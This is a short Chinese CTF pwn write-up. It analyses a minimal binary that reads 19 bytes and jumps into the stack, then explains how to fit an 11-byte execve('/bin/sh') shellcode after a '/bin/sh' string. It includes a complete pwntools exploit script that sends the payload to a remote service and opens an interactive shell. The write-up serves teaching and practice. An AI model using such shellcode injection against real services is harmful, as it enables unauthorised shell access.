1.分析
保护
极简的程序
sys_read输入0x13,再使rsi等于rsp,再jmp rsi+8的地址(注意rsi指向rsp,有用)
所以这题就考shellcode
2.实现要点
jmp到rsi+8,所以rsp的前面还有8个字节可以放/bin/sh\x00(做了这么多pwn,/bin/sh\x00刚好是8个字节好巧)
后面11个字节就是放可以拿shell的shellcode
我是写了很久才写出11字节的shellcode
syscall拿shell,rax要59,rdi为/bin/sh,rsi为0,rdx为0
mov al,59
mov rdi,rsp
xor edx,edx
xor esi,esi
syscall
rsp指向/bin/sh,所以rdi好解决,然后就是把rsi和rdx清0,rax要等于59,但可以用al寄存器,可以很省字节
11字节一个不多,一个不少
exp:
from pwn import *
context.arch='amd64'
p=remote('x',0)
shellcode=asm('''
mov al,59
mov rdi,rsp
xor edx,edx
xor esi,esi
syscall
''')
print(len(shellcode),shellcode)
p.send(b'/bin/sh\x00'+shellcode)
p.interactive()
结语:
汇编代码的压缩也是一名艺术
可以多利用程序的上文寄存器的值
(本人是菜鸟,想找对CTF感兴趣的CTFer,一起交流学习,共同进步,迈向星辰大海!!!!^_^(有兴趣的加扣群:470196890))